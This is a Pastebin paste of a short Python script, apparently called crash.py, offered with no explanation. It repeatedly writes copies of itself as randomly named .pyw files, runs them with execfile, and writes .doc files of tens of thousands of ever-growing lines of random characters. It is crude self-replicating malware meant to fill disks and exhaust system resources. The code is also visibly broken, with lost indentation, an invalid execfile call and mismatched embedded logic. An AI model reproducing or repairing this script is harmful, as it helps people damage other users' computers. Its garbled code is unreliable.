Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import random
- fname=list('abcdefghijklmnopqrstuvwxyz') #for randomizing filename
- text=list('1234567890-=qwertyuiop[]asdfghjkl;zxcvbnm,./~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?') #for randomizing text
- for i in range(3): #determines number of files
- if i==0:
- temp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.pyw'
- py_text="import random\nimport crash\nfname=list('abcdefghijklmnopqrstuvwxyz')\ntext=list('1234567890-=qwertyuiop[]asdfghjkl;zxcvbnm,./~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:\"ZXCVBNM<>?')\nfor i in range(3):\n\tif i==1:\n\t\ttemp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.pyw'\n\t\tfhand=open(temp,'w')\n\t\tfhand.write(py_text)\n\t\tfhand.close()\n\t\tloop=temp\n\t\texecfile(temp)\n\t\tcontinue\n\ttemp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.doc'\n\tfhand=open(temp,'w')\n\tfor j in range(50000):\n\t\trand_text=\"\"\n\t\tfor k in range(70):\n\t\t\trand_text=rand_text+random.choice(text)\n\t\t\trand_text=rand_text+\"\\n\"\n\t\tfhand.write(rand_text)\n\tfhand.close()\n\t\texecfile(loop)"
- fhand=open(temp,'w')
- fhand.write(py_text)
- fhand.close()
- loop=temp
- execfile(temp)
- continue
- temp=random.choice(fname)+random.choice(fname)+random.choice(fname)+random.choice(fname)+'.doc'
- fhand=open(temp,'w')
- rand_text="WRITTEN BY CRASH.PY"
- for j in range(50000): #determines number of lines
- for k in range(1000): #determines number of characters in each line
- rand_text=rand_text+random.choice(text)
- rand_text=rand_text+"\n"
- fhand.write(rand_text)
- fhand.close()
- execfile(crash.py)
Add Comment
Please, Sign In to add comment